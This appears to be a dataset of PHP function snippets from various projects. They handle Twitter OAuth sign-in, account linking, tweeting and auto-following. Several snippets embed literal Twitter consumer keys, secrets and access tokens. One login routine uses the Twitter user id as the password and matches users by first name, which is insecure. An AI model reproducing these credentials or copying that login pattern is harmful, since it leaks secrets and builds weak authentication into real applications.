$connection->getAccessToken($_REQUEST['oauth_verifier']);\n\t\t\t\t\tif($access_token){\t\n\t\t\t\t\t\t// create another connection object with access token\n\t\t\t\t\t\t$connection = new TwitterOAuth($this->consumer_key, $this->consumer_secret, $access_token['oauth_token'], $access_token['oauth_token_secret']);\n\t\t\t\t\t\t// set the parameters array with attributes include_entities false\n\t\t\t\t\t\n\t\t\t\t\t\t// get the data\n\t\t\t\t\t\t$getParam = array('include_email' => 'true', 'include_entities' => 'false', 'skip_status' => 'true'); \n\t\t\t\t\t\t$this->twitterUser = $connection->get('account/verify_credentials',$getParam);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\n\t\t\t\n\t\t\t\t\tif($this->twitterUser){\n\t\t\t\t\t\t\n\t\t\t\t\t\t$user = $this->Users->find('all')->where(['email'=>$this->twitterUser->email])->first();\n\t\t\t\t\t\tif($user){\n\t\t\t\t\t\t\t$this->__updateAccount($user);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$this->__newAccount();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}else{\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t}", "public function success() {\n\t\techo 'Twitter connect succeded<br/>';\n\t\techo '<p><a href=\"' . base_url() . 'twtest/clearsession\">Do it again!</a></p>';\n\n\t\t$this->load->library('twconnect');\n\n\t\t// saves Twitter user information to $this->twconnect->tw_user_info\n\t\t// twaccount_verify_credentials returns the same information\n\t\t$this->twconnect->twaccount_verify_credentials();\n\n\t\techo 'Authenticated user info (\"GET account/verify_credentials\"):<br/><pre>';\n\t\tprint_r($this->twconnect->tw_user_info); echo '</pre>';\n\t\t\n\t}", "public function twitter() {\n $user_id = $this->Session->read('Auth.User.id');\n //twitter object\n $twitter = new TwitterOAuth($this->Twitter->CONSUMER_KEY, $this->Twitter->CONSUMER_SECRET);\n //if a request for process\n if (isset($_GET['type_request']) && $_GET['type_request'] === 'twitter') {\n //new user profile request\n $user_access_data = $twitter->oauth('oauth/access_token', array('oauth_token' => $_GET['oauth_token'], 'oauth_verifier' => $_GET['oauth_verifier']));\n //create user's oauth object\n $post = new TwitterOAuth($this->Twitter->CONSUMER_KEY, $this->Twitter->CONSUMER_SECRET, $user_access_data['oauth_token'], $user_access_data['oauth_token_secret']);\n //get user's profile\t\t\n $profile = $post->get(\"users/lookup\", array('user_id' => $user_access_data['user_id']));\n //Save profile\n $save['uid'] = $user_id;\n $save['tw_id'] = $profile[0]->id;\n $save['access_token'] = $user_access_data['oauth_token'];\n $save['access_token_secret'] = $user_access_data['oauth_token_secret'];\n $save['name'] = $profile[0]->name;\n $save['screeen_name'] = $profile[0]->screen_name;\n $save['followers_count'] = $profile[0]->friends_count;\n $save['followedby_count'] = $profile[0]->followers_count;\n $save['p_picture'] = $profile[0]->profile_image_url;\n $save['link'] = $profile[0]->url;\n $save['timezone'] = $profile[0]->time_zone;\n //if exists\n if ($this->Twitter->newProfile($user_id, $profile[0]->id)) {\n //Save and redirect\n if ($this->Twitter->save($save)) {\n //Redirect user added\n $this->Session->setFlash(__(\"Profile saved.\"), 'cake-success');\n $this->redirect(array('action' => 'index'));\n }\n //WTF happened...\n else {\n $this->Session->setFlash(__(\"Something went wrong saving Twitter profile! Please try again later.\"), 'cake-error');\n $this->redirect(array('action' => 'index'));\n }\n } else {\n //User exists.\n // When validation fails or other local issues\n $this->Session->setFlash(__(\"User already linked! Logout from Twitter and login with a diffrent account.\"), 'cake-error');\n $this->redirect(array('action' => 'index'));\n }\n } else {\n //Request for approval\n // create a link\n $tokens = $twitter->oauth('oauth/request_token', array('oauth_callback' => $this->Twitter->OAUTH_CALLBACK));\n //get token's\n $app_oauth_token = $tokens['oauth_token'];\n $app_oauth_token_secret = $tokens['oauth_token_secret'];\n //if successful\n //build url \t\t\n $url = $twitter->url('oauth/authorize', array('oauth_token' => $app_oauth_token, 'oauth_callback' => $this->Twitter->OAUTH_CALLBACK));\n //redirect\n $this->redirect($url);\n }\n }", "public function callback(SocialTwitterAccountService $service)\n {\n $user = $service->createOrGetUser(Socialite::driver('twitter')->user());\n auth()->login($user);\n return redirect()->to('/home');\n }", "public function twitterLinkAction() {\n //get the entity manager\n $em = $this->getDoctrine()->getManager();\n //reload the user object from the database\n $user = $em->getRepository('ObjectsUserBundle:User')->getUserWithSocialAccounts($this->getUser()->getId());\n //get the request object\n $request = $this->getRequest();\n //get the translator object\n $translator = $this->get('translator');\n //get the session object\n $session = $request->getSession();\n //get the user social account object\n $socialAccounts = $user->getSocialAccounts();\n //the link twitter account route should not be visible to an already linked user\n if ($socialAccounts && $socialAccounts->isTwitterLinked()) {\n $session->getFlashBag()->set('error', $translator->trans('Your account is already linked to another account.'));\n }\n //get the oauth token from the session\n $oauth_token = $session->get('oauth_token', FALSE);\n //get the oauth token secret from the session\n $oauth_token_secret = $session->get('oauth_token_secret', FALSE);\n //get the twtiter id from the session\n $twitterId = $session->get('twitterId', FALSE);\n //get the screen name from the session\n $screen_name = $session->get('screen_name', FALSE);\n //check if we got twitter data\n if ($oauth_token && $oauth_token_secret && $twitterId && $screen_name) {\n //check if we have any user linked to this account before\n $twitterAccount = $em->getRepository('ObjectsUserBundle:SocialAccounts')->findOneByTwitterId($twitterId);\n if ($twitterAccount) {\n $session->getFlashBag()->set('error', $translator->trans('The twitter account is already linked to another account.'));\n } else {\n //check if the user does not have a social account object\n if (!$socialAccounts) {\n //create new social account for the user\n $socialAccounts = new SocialAccounts();\n $socialAccounts->setUser($user);\n $user->setSocialAccounts($socialAccounts);\n $em->persist($socialAccounts);\n }\n //set the user twitter data\n $socialAccounts->setTwitterId($twitterId);\n $socialAccounts->setOauthToken($oauth_token);\n $socialAccounts->setOauthTokenSecret($oauth_token_secret);\n $socialAccounts->setScreenName($screen_name);\n //save the data for the user\n $em->flush();\n //set the success flag in the session\n $session->getFlashBag()->set('success', $translator->trans('Your account is now linked to twitter'));\n }\n } else {\n //something went wrong clear the session and set a flash to try again\n $session->clear();\n //set the error flag in the session\n $session->getFlashBag()->set('error', $translator->trans('twitter connection error') . ' <a href=\"' . $this->generateUrl('twitter_authentication', array('redirectRoute' => 'twitter_link'), TRUE) . '\">' . $translator->trans('try again') . '</a>');\n }\n //twitter data not found go to the edit page\n return $this->redirect($this->generateUrl('user_edit'));\n }", "public function index() {\n\t\t$this->load->library('twconnect');\n\n\t\techo '<p><a href=\"' . base_url() . 'twtest/redirect\">Connect to Twitter</a></p>';\n\t\techo '<p><a href=\"' . base_url() . 'twtest/clearsession\">Clear session</a></p>';\n\n\t\techo 'Session data:<br/><pre>';\n\t\tprint_r($this->session->all_userdata());\n\t\techo '</pre>';\n \n \n $parameters = array(\n 'screen_name' => 'ricard0per',\n 'count' => 5,\n 'exclude_replies' => true,\n );\n $reponse = $this->twconnect->tw_get('statuses/user_timeline', $parameters);\n echo 'Response data:<br/><pre>';\n\t\tprint_r($reponse);\n\t\techo '</pre>';\n\t}", "public function getLogin()\n {\n $connection = new TwitterOAuth(env('TWITTER_CONSUMER_KEY'), env('TWITTER_CONSUMER_SECRET'));\n $requestToken = $connection->oauth('oauth/request_token', array('oauth_callback' => env('TWITTER_OAUTH_CALLBACK')));\n $url = $connection->url('oauth/authenticate', array('oauth_token' => $requestToken['oauth_token']));\n return redirect($url);\n }", "public function twofactor() \n {\n UserModel::authentication();\n\n //get the user\n $user = UserModel::user();\n\n //include the library\n require Config::get('PATH_LIBS') . 'GoogleAuthenticator.php';\n \n //iniate the class\n $ga = new PHPGangsta_GoogleAuthenticator();\n \n //get the user's secret key\n $secret = SecurityModel::twofackey($user);\n\n\t\t$this->View->RenderPage_sidebar('security/twofactor', array('secret' => $secret, 'user' => $user, 'ga' => $ga));\n\t}", "function login() { \r\n $connection = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET);\r\n $request_token = $connection->oauth('oauth/request_token', array('oauth_callback' => OAUTH_CALLBACK));\r\n $_SESSION['oauth_token'] = $request_token['oauth_token'];\r\n $_SESSION['oauth_token_secret'] = $request_token['oauth_token_secret'];\r\n $url = $connection->url('oauth/authorize', array('oauth_token' => $request_token['oauth_token']));\r\n echo $url;\r\n }", "public function callback(SocialTwitterAccountService $service)\n {\n \n $user = $service->createOrGetUser(Socialite::driver('twitter')->user());\n auth()->login($user);\n Session::flash('success','Login successfully to futurestarr!');\n return redirect()->to('/home');\n }", "public function handleProviderCallback() {\n\n if (!Auth::check()) {\n return redirect('home');\n }\n\n $user = Auth::user();\n\n try {\n $twitterUser = Socialite::driver('twitter')->user();\n\n $twitterAccount = new TwitterAccount();\n if (isset($user->account)) {\n $twitterAccount = $user->account;\n }\n $twitterAccount->token = $twitterUser->token;\n $twitterAccount->token_secret = $twitterUser->tokenSecret;\n $twitterAccount->twitter_id = $twitterUser->user['id_str'];\n $twitterAccount->user_id = $user->id;\n $twitterAccount->save();\n\n $twitterDetails = new TwitterDetails();\n if (isset($user->details)) {\n $twitterDetails = $user->account;\n }\n $twitterDetails->name = $twitterUser->name;\n $twitterDetails->nickname = $twitterUser->nickname;\n $twitterDetails->avatar = $twitterUser->avatar;\n $twitterDetails->user_id = $user->id;\n $twitterDetails->save();\n\n return redirect()->route('dashboard');\n\n } catch (\\Exception $e) {\n // dump($e);\n return redirect()->route('twitter.error');\n }\n\n }", "private function oauth() {\n if ($this->IntuitAnywhere->handle($this->the_username, $this->the_tenant))\n {\n ; // The user has been connected, and will be redirected to $that_url automatically.\n }\n else\n {\n // If this happens, something went wrong with the OAuth handshake\n die('Oh no, something bad happened: ' . $this->IntuitAnywhere->errorNumber() . ': ' . $this->IntuitAnywhere->errorMessage());\n }\n }", "public function getLoginwithtwitter() {\n $token = Input::get('oauth_token');\n $verify = Input::get('oauth_verifier');\n\n// get twitter service\n $tw = OAuth::consumer('Twitter');\n\n// check if code is valid\n// if code is provided get user data and sign in\n if (!empty($token) && !empty($verify)) {\n\n// This was a callback request from twitter, get the token\n $token = $tw->requestAccessToken($token, $verify);\n\n// Send a request with it\n $result = json_decode($tw->request('account/verify_credentials.json'), true);\n\n $name = $result['name'];\n//$email = $result['email'];\n $pass = $result['id'];\n\n if (Auth::attempt(array('first_name' => $name, 'password' => $pass))) {\n return Redirect::to('/')->with('yes', 'تم تسجيل الدخول بنجاح ');\n }\n\n $user = new User;\n $user->first_name = $name;\n//$user->email = $email;\n $user->admin = 2;\n $user->active = 1;\n $user->password = Hash::make($pass);\n if ($user->save()) {\n if (Auth::attempt(array('first_name' => $name, 'password' => $pass))) {\n return Redirect::to('/')->with('yes', 'تم تسجيل الدخول بنجاح ');\n }\n }\n return Redirect::to('/')->with('yes', 'لا يمكنك الدخول بهذه الحساب البريد الاكتروني متطابق لحساب ما ');\n }\n// if not ask for permission first\n else {\n// get request token\n $reqToken = $tw->requestRequestToken();\n\n// get Authorization Uri sending the request token\n $url = $tw->getAuthorizationUri(array('oauth_token' => $reqToken->getRequestToken()));\n\n// return to twitter login url\n return Redirect::to((string) $url);\n }\n }", "public function executeLogin(sfRequest $request) {\n $consumer_key = sfConfig::get('app_sf_twitter_auth_consumer_key');\n $consumer_secret = sfConfig::get('app_sf_twitter_auth_consumer_secret');\n $user = $this->getUser(); /* @var $user myUser */\n\n /* If oauth_token is missing get it */\n if ($request->hasParameter('oauth_token') && $user->getAttribute('oauth_state', null, 'sfTwitterAuth') == 'start') {\n $user->setAttribute('oauth_state', 'returned', 'sfTwitterAuth');\n }\n\n /*\n * Switch based on where in the process you are\n *\n * 'default': Get a request token from twitter for new user\n * 'returned': The user has authorized the app on twitter\n */\n switch ($user->getAttribute('oauth_state', null, 'sfTwitterAuth')) {\n default:\n /* Create TwitterOAuth object with app key/secret */\n $connection = new TwitterOAuth($consumer_key, $consumer_secret);\n /* Request tokens from twitter */\n $tok = $connection->getRequestToken($this->getController()->genUrl(array('sf_route' => 'login'), true));\n\n /* Save tokens for later */\n $user->setAttribute('oauth_request_token', $tok['oauth_token'], 'sfTwitterAuth');\n $user->setAttribute('oauth_request_token_secret', $tok['oauth_token_secret'], 'sfTwitterAuth');\n $user->setAttribute('oauth_state', 'start', 'sfTwitterAuth');\n\n /* Build the authorization URL */\n $request_link = $connection->getAuthorizeURL($tok['oauth_token']);\n return $this->redirect($request_link);\n break;\n case 'returned':\n /* If the access tokens are already set skip to the API call */\n if ((!$user->getAttribute('oauth_access_token', null, 'sfTwitterAuth')) && (!$user->getAttribute('oauth_access_token_secret', null, 'sfTwitterAuth'))) {\n /* Create TwitterOAuth object with app key/secret and token key/secret from default phase */\n $connection = new TwitterOAuth($consumer_key, $consumer_secret, $user->getAttribute('oauth_request_token', null, 'sfTwitterAuth'), $user->getAttribute('oauth_request_token_secret', null, 'sfTwitterAuth'));\n /* Request access tokens from twitter */\n $tok = $connection->getAccessToken($request->getParameter('oauth_verifier'));\n /* Save the access tokens. These could be saved in a database as they don't\n currently expire. But our goal here is just to authenticate the session. */\n $user->setAttribute('oauth_access_token', $tok['oauth_token'], 'sfTwitterAuth');\n $user->setAttribute('oauth_access_token_secret', $tok['oauth_token_secret'], 'sfTwitterAuth');\n }\n /* Create TwitterOAuth with app key/secret and user access key/secret */\n $connection = new TwitterOAuth($consumer_key, $consumer_secret, $user->getAttribute('oauth_access_token', null, 'sfTwitterAuth'), $user->getAttribute('oauth_access_token_secret', null, 'sfTwitterAuth'));\n /* Run request on twitter API as user. */\n $result = $connection->get('account/verify_credentials');\n\n if ($result->id) {\n $guardUser = Doctrine::getTable('sfGuardUser')->findOneById($result->id);\n\n if (!$guardUser) {\n // Make a new user here\n $guardUser = $this->createUser($result);\n }\n\n $user->signIn($guardUser);\n\n foreach(Doctrine::getTable('sfGuardUser')->findByIds($connection->get('friends/ids')) as $speakrUser) {\n $speakrUser->Followers[] = $guardUser;\n $speakrUser->save();\n }\n\n // always redirect to a URL set in app.yml\n // or to the referer\n // or to the homepage\n $signinUrl = sfConfig::get('app_sf_twitter_auth_success_signin_url', $user->getReferer($request->getReferer()));\n\n return $this->redirect('' != $signinUrl ? $signinUrl : '@homepage');\n } else {\n $user->getAttributeHolder()->removeNamespace('sfTwitterAuth');\n $this->redirect('sfTwitterAuth/failed');\n }\n break;\n }\n }", "public function loginConTwitter(){\n\t\t$this->load->view('loginConTwitter');\t\n\t}", "function verify_twitter_login()\r\n\t{\r\n\t\t// Verifies the user has logged in\r\n\t\t$json = $this->twitter_con->get('account/verify_credentials');\r\n\r\n\t\t// Checks if an error message was returned\r\n\t\tif(isset($json->error))\r\n\t\t{\r\n\t\t\techo('<div class=\"error\"><p><strong>Twitter Blog Plugin</strong><br />Twitter Authentication Error: ' . $json->error . ' <a href=\"options-general.php?page=twitter-blog-menu\">Settings Page</a><br />\t\t\t\t <em>Note: As of version 0.8, Twitter authentication is done with OAuth. You will need to re-enter your login information. Set up the below options first, as you\\'ll need to specify the details of your app</em></p></div>');\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "public function Connect(){\n\t\t/* Create TwitterOAuth object and get request token */\n\t\t$twitterOAuth = new TwitterOAuth($this->consumerKey, $this->consumerSecret);\n\t\t\n\t\t/* Get request token */\n\t\t$requestToken = $twitterOAuth->getRequestToken();\n\n\t\t$this->saveRequestTokenDataToSession($requestToken);\n \n\t\t$authorizationUrl = null;\n\t\t/* If last connection fails don't display authorization link */\n\t\tswitch ($twitterOAuth->http_code) {\n\t\t case 200:\n\t\t /* Build authorize URL */\n\t\t $authorizationUrl= $twitterOAuth->getAuthorizeURL($this->getOAuthRequestToken()); \n\t\t break;\n\t\t default:\n\t\t $authorizationUrl = null;\n\t\t break;\n\t\t}\n\t\t\n\t\treturn $authorizationUrl;\n\t}", "public function twitter_api_connect(){\n\t\t$credential = $this->get_twitter_credentials();\n\t\t//Sample key and tokens\n\t\t//$cosumer_key = \"wAVZdagTN2EYq1u1LHKANLdgU\";\n\t\t//$consumer_secret = \"bw0c9bOLI5Ur9iFD3C0nGYfrCqWJtCxc7IfpeqGVSGEuGDEsCm\";\n\t\t//$access_token = \"1056912775-4XPH397CUqLcFsi3AY4Vt6I1qXrbhDCmiLzPV28\";\n\t\t//$access_token_secret = \"DIJQ5cF14ITumwy88tP9Iq9odpv1qb48XVQSG8lDvlc2m\";\n\t\t$connection = new TwitterOAuth($credential[0],$credential[1], $credential[2], $credential[3]);\n\t\t$content = $connection->get(\"account/verify_credentials\");\n\n\t\t$statuses = $connection->get(\"statuses/user_timeline\",\n\t\t\tarray('count' => 10,\n\t\t\t 'tweet_mode' => 'extended',\n\t\t\t 'include_entities' => 'true',\n\t\t\t 'screen_name' => $credential[4]\n\t\t\t)\n\t\t);\n\n\n\t\treturn $statuses;\n\n\t }", "function twitter_oauth_callback_form_submit($form, &$form_state) {\n $key = variable_get('twitter_consumer_key', '');\n $secret = variable_get('twitter_consumer_secret', '');\n $response = $form_state['twitter_oauth']['response'];\n\n $twitter = new Twitter($key, $secret, $response['oauth_token'], $response['oauth_token_secret']);\n try {\n $twitter_account = $twitter->users_show($response['screen_name']);\n } catch (TwitterException $e) {\n form_set_error('screen_name', t('Request failed: @message.', array('@message' => $e->getMessage())));\n return;\n }\n // Save the new Twitter account and set the user's uid who added it.\n $twitter_account->set_auth($response);\n global $user;\n $twitter_account->uid = $user->uid;\n twitter_account_save($twitter_account, TRUE);\n\n $form_state['programmed'] = FALSE;\n $form_state['redirect'] = $form_state['twitter_oauth']['destination'];\n}", "function AddTwitter($country = ''){\n \n $connection = $this->twitteroauth->create($this->config->item('twitter_consumer_token'),\n $this->config->item('twitter_consumer_secret'));\n \n $request_token = $connection->getRequestToken(site_url('channels/channelmg/TokenTwitter/'.$country));\n //print_r($connection);\n $this->session->set_userdata('request_token', $request_token['oauth_token']);\n $this->session->set_userdata('request_token_secret', $request_token['oauth_token_secret']);\n if($connection->http_code == 200)\n {\n $url = $connection->getAuthorizeURL($request_token);\n redirect($url);\n }\n else\n {\n // An error occured. Make sure to put your error notification code here.\n redirect('/error_page_faild_auth');\n }\n }", "public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->load->library('HybridAuthLib');\n\t\t$this->load->helper('custom_helper');\n\t\t$this->load->model('User_model');\n\n\t\tif($this->is_user_logged_in_social()){\n\t\t\tredirect('twitter');\n\t\t}\n\n\t}", "public function twofactor_action()\n\t{\n UserModel::authentication();\n \n //get the user\n $user = UserModel::user();\n\n //include the library\n require Config::get('PATH_LIBS') . 'GoogleAuthenticator.php';\n \n //iniate the class\n $ga = new PHPGangsta_GoogleAuthenticator();\n \n //get the user's secret key\n $secret = SecurityModel::twofackey($user);\n\n //get the code\n\t\t$oneCode = $ga->getCode($secret);\n\t\t\n SecurityModel::add_2factor($oneCode, $secret);\t\n\t}", "public function callback()\n\t{\n\t\tif (isset($_REQUEST['oauth_token']) && $this->session->userdata('oauth_token') !== $_REQUEST['oauth_token']) {\n\t\t $this->session->set_userdata('oauth_status','oldtoken');\n\t\t redirect('twitter/clear_sessions');\n\t\t} \n\t\t/* Set parameter after request token */\n\t\t$params = array('consumer_key' => '3zrlsDUOxHKycBWGjs29Hg',\n\t\t 'consumer_secret' => 'ftmz0LfGjvYLPA7agWy1tr5jxt0XLW2x2oDisaKkU',\n\t\t\t\t\t\t'oauth_token' => $this->session->userdata('oauth_token'),\n\t\t\t\t\t\t'oauth_token_secret' => $this->session->userdata('oauth_token_secret')\n\t\t);\n\t\t\n\t\t/* Load Library Twitter Oauth*/\n\t\t$this->load->library('twitteroauth',$params);\n\t\t\n\t /* Build TwitterOAuth object with client credentials. */\n\t\t$connection = $this->twitteroauth;\n\t\t\n\t\t/* Request access tokens from twitter */\n\t\t$access_token = $connection->getAccessToken($_REQUEST['oauth_verifier']);\n\t\t\n\t\t/* Save the access tokens. Normally these would be saved in a database for future use. */\n $this->session->set_userdata('access_token',$access_token ) ;\n\t\t\n\t\t/* Remove no longer needed request tokens */\n\t\t$this->session->set_userdata('oauth_token','') ;\n\t\t$this->session->set_userdata('oauth_token_secret','') ;\n\n\t\t/* If HTTP response is 200 continue otherwise send to connect page to retry */\n\t\tif (200 == $connection->http_code) {\n\t\t/* The user has been verified and the access tokens can be saved for future use */\n\t\t $this->session->set_userdata('status','verified') ;\n\t\t redirect('twitter/verified');\n\t\t} else {\n\t\t/* Save HTTP status for error dialog on connnect page.*/\n\t\t redirect('twitter');\n\t\t}\n\t\n\t}", "public function setTwitterUsername($twitterUsername)\n {\n $this->twitterUsername = $twitterUsername;\n }", "public function tweet() {\r\n\t\tif ($this->feed->tweet != 1 || $this->tweeted == 1) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t$this->save();\r\n\t\t$url = 'http://'.$_SERVER['HTTP_HOST'].$this->get_url();\t\r\n\t\t$tweet = text::limit_chars($this->feed->tweet_desc.' '.$this->title,118,'...',TRUE).' '.$url;\r\n\t\tzest::update_status($tweet);\r\n\t\t$this->tweeted = 1;\r\n\t\t$this->save();\r\n\t}", "public function auth()\n\t{\n\t\tif (empty($this->_oAuthVerifier))\n\t\t{\n\t\t\tthrow new Exception('No data for social login: OAuth Verifier');\n\t\t}\n\n\t\t//We get the app config\n\t\t$token = $this->_app['session']->get(self::SOCIAL_TOKEN_NAME);\n\t\t$tokenSecret = $this->_app['session']->get(self::SOCIAL_TOKEN_SECRET_NAME);\n\n\t\t//Send an OAuth to twitter to try to login\n\t\t$oAuth = $this->_getTWOAuth($token, $tokenSecret);\n\n\t\t$tokenCredentials = $oAuth->getAccessToken($this->_oAuthVerifier);\n\n\t\t$oAuth = $this->_getTWOAuth($tokenCredentials['oauth_token'], $tokenCredentials['oauth_token_secret']);\n\t\t$oAuth->decode_json = false;\n\t\t$account = $oAuth->get(self::SOCIAL_OAUTH_VERIFY_CREDENTIALS_URI);\n\n\t\t$accountData = json_decode($account, true);\n\n\t\t$result = $this->_buildSocialResponse('twitter', $accountData['id'], $accountData['profile_image_url'], $accountData, null);\n\t\treturn $result;\n\t}", "public function connectTwitterAccount($id, $screen_name, $access_token, $access_secret) {\n\t\t// Write our values to the DataObject\n\t\t$this->owner->TwitterUserID = $id;\n\t\t$this->owner->TwitterScreenName = $screen_name;\n\t\t$this->owner->TwitterAccessToken = $access_token;\n\t\t$this->owner->TwitterAccessSecret = $access_secret;\n\t\t\n\t\treturn (bool) $this->owner->write();\n\t}", "public function twitter(Request $request)\n {\n $twitter = $this->getTwitterUser($request->userName);\n\n $this->user->socialAccounts()->create([\n 'id' => Str::random(),\n 'provider_id' => $twitter['id_str'],\n 'provider_name' => 'twitter.com',\n 'profile_url' => \"twitter.com/{$twitter['screen_name']}\"\n ]);\n\n return response()->json([\n 'message' => 'Twitter account successfully updated.'\n ]);\n }", "function ecsp_get_twitter_auth_api( $oauthToken = null, $oauthTokenSecret = null) {\n\tstatic $tw = null;\n\n\t// If token and secret are not explicitly provided, use the credentials for the current user.\n\tif ( $oauthToken === null && $oauthTokenSecret === null ) {\n\t\t$access_token = get_user_meta( get_current_user_id(), 'ecsp-twitter-access-token', true );\n\n\t\tif ( $access_token ) {\n\t\t\t$oauthToken = $access_token['oauth_token'];\n\t\t\t$oauthTokenSecret = $access_token['oauth_token_secret'];\n\t\t}\n\t}\n\n\t// User cannot authenticate with Twitter.\n\tif ( !$oauthToken ) return false;\n\n\t// Create a new twitter object if it doesn't already exist, or if the oAuth Token or secret is provided.\n\tif ( $tw === null) {\n\t\t$creds = get_field( 'ecsp_twitter', 'options' );\n\n\t\tif ( empty($creds) || empty($creds[0]['app_id']) || empty($creds[0]['secret']) ) {\n\t\t\t$tw = false;\n\t\t\treturn $tw;\n\t\t}\n\n\t\tif ( !class_exists( 'Twitter/Twitter' ) ) {\n\t\t\trequire_once ECSP_PATH . '/assets/twitter/autoload.php';\n\t\t}\n\n\n\t\t$tw = new TwitterOAuth(\n\t\t\tapply_filters( 'ecsp_twitter_app_id', $creds[0]['app_id'] ),\n\t\t\tapply_filters( 'ecsp_twitter_app_secret', $creds[0]['secret'] ),\n\t\t\t$oauthToken,\n\t\t\t$oauthTokenSecret\n\t\t);\n\t}\n\n\treturn $tw;\n}", "private function authenticate()\n {\n // If already authenticated, no need to do it again\n if($this->is_authenticated() && $this->authenticated)\n return true;\n\n // ==== Application-only authentication; no need for signed oAuth ======\n if($this->mode == rabkTwttr::MODE_APP)\n {\n // Encode consumer key and consumer secret\n $encodedToken = base64_encode(rawurlencode(rabkTwttr::$consumer_key) . ':' . rawurlencode(rabkTwttr::$consumer_secret));\n\n // Query to get bearer token\n $auth = 'Basic ' . $encodedToken;\n $body = 'grant_type=client_credentials';\n $query = rabkTwttr::httpquery('oauth2/token', 'POST', $auth, $body, $JSON = true);\n\n // Return the token if valid\n if($query->token_type != 'bearer')\n die('Error: couldn\\'t authenticate.');\n\n $_SESSION['access_token'] = $query->access_token;\n }\n\n // ==== User authentication: need signed oAuth =========================\n else if($this->mode == rabkTwttr::MODE_USER)\n {\n // ---- If need to redirect to Twitter for user login --------------\n if(!isset($_GET['oauth_token']) && !isset($_GET['oauth_verifier']))\n {\n // Query Twitter to get a request token\n $oauth_params['oauth_callback'] = $this->oauth_callback;\n $query = rabkTwttr::httpquery('oauth/request_token', 'POST', $oauth_params);\n\n // Parse results\n parse_str($query);\n if(!$oauth_callback_confirmed)\n die('Error: Query to Twitter failed');\n\n // If everything good, redirect to Twitter to authenticate\n echo '<script>window.location=\"https://api.twitter.com/oauth/authenticate?oauth_token=' . $oauth_token . '\";</script>';\n }\n\n // ---- Once redirected from Twitter login page --------------------\n else\n {\n // Query Twitter to get the access token\n $oauth_params['oauth_token'] = $_GET['oauth_token'];\n $oauth_params['oauth_verifier'] = $_GET['oauth_verifier'];\n\n $body = 'oauth_verifier=' . $oauth_params['oauth_verifier'];\n $query = rabkTwttr::httpquery('oauth/access_token', 'POST', $oauth_params, $body);\n\n // Save tokens to session variable\n parse_str($query);\n $_SESSION['access_token'] = $oauth_token;\n $_SESSION['access_token_secret'] = $oauth_token_secret;\n\n $this->authenticated = true;\n return true;\n }\n }\n else\n die('Error: invalid mode.');\n }", "public function get_twitter() {\r\n return $this->twitter;\r\n }", "function twitter_auth_account_form_submit($form, &$form_state) {\n $key = variable_get('twitter_consumer_key', '');\n $secret = variable_get('twitter_consumer_secret', '');\n $oauth_callback = variable_get('twitter_oauth_callback_url', TWITTER_OAUTH_CALLBACK_URL);\n $callback_url = url($oauth_callback, array('absolute' => TRUE));\n\n $twitter = new Twitter($key, $secret);\n $params = array('oauth_callback' => $callback_url);\n $token = $twitter->get_request_token($params);\n if (!empty($token)) {\n $_SESSION['twitter_oauth']['token'] = $token;\n $_SESSION['twitter_oauth']['destination'] = $_GET['q'];\n // Check for the overlay.\n if (module_exists('overlay') && overlay_get_mode() == 'child') {\n overlay_close_dialog($twitter->get_authorize_url($token), array('external' => TRUE));\n overlay_deliver_empty_page();\n }\n else {\n drupal_goto($twitter->get_authorize_url($token));\n }\n }\n else {\n drupal_set_message(t('Could not obtain a valid token from the Twitter API. Please review the configuration.'),\n 'error');\n }\n}", "public function CreateTwitterOAuthObject(){\n\t\treturn new TwitterOAuth($this->consumerKey, $this->consumerSecret, $this->getOAuthAccessToken(), $this->getOAuthAccessTokenSecret());\n\t\t\n\t}", "public function handle(Twitter $twitter)\n {\n\t\ttry\n\t\t{\n\t\t\t$userIDs = $twitter->get_users_to_follow();\n\t\t\tif (count($userIDs) > 0)\n\t\t\t{\n\t\t\t\t//follow the user...\n\t\t\t\t$userID = reset($userIDs);\n\t\t\t\t$userData = $twitter->mute_user($userID);\n\t\t\t\t$userData = $twitter->follow_user($userID);\n\n\t\t\t\t//remove the user from our list of users to follow...\n\t\t\t\t$twitter->remove_user_to_follow($userID);\n\n\t\t\t\t//add the user to our list of followed users (to potentially be unfollowed later)...\n\t\t\t\t$twitter->add_followed_user($userID);\n\n\t\t\t\t$this->info('Followed ' . $userData['screen_name'] . '!');\n\t\t\t}\n\t\t\telse\n\t\t\t\t$this->warn(\"There aren't any users waiting to be followed\");\n\t\t}\n\t\tcatch(\\TwitterRateLimitException $e)\n\t\t{\n\t\t\t$this->error($e->getMessage());\n\t\t}\n\t\tcatch(\\Exception $e)\n\t\t{\n\t\t\t$this->error($e->getMessage());\n\t\t\tif ($userID)\n\t\t\t{\n\t\t\t\t$twitter->remove_user_to_follow($userID);\n\t\t\t\t$this->error('Removed user #' . $userID . ' from our list of users to follow, since following them doesn\\'t seem to be working');\n\t\t\t}\n\t\t}\n }", "public function callback() {\n\t\t$this->load->library('twconnect');\n\n\t\t$ok = $this->twconnect->twprocess_callback();\n\t\t\n\t\tif ( $ok ) { redirect('twtest/success'); }\n\t\telse redirect ('twtest/failure');\n\t}", "public function getTwitterUrl()\n {\n return $this->twitter_url;\n }", "public function getTwitter()\n {\n return $this->twitter;\n }", "public function setTwitterId($twitterId)\n {\n $this->twitterId = $twitterId;\n }", "function indexAction(){\n\n\t\t\t$twitter = new TwitterOAuth(\"1ixgqaZKjUvgx12H6ghoRCrXS\", \"IvAYD1vBT9tQYtIIdvZYaiPTQHlRBb2VtBMcHvg3hAtfRTYKJj\", \"3246021028-R1o8zn5jFHHiipRbETuqP8TaztJEYBC1kX1f4xC\", \"oEFsw8HhKYfp2E6iaweqhMjl01bX8M4zQ3qdQpgTW4iDb\");\n\n# Migrate over to SSL/TLS\n$twitter->ssl_verifypeer = true;\n\n# Load the Tweets\n$tweets = $twitter->get('statuses/user_timeline', array('screen_name' => \"TestAccount\", 'exclude_replies' => 'true', 'include_rts' => 'false', 'count' => 20));\n\n# Example output\nif(!empty($tweets)) {\n 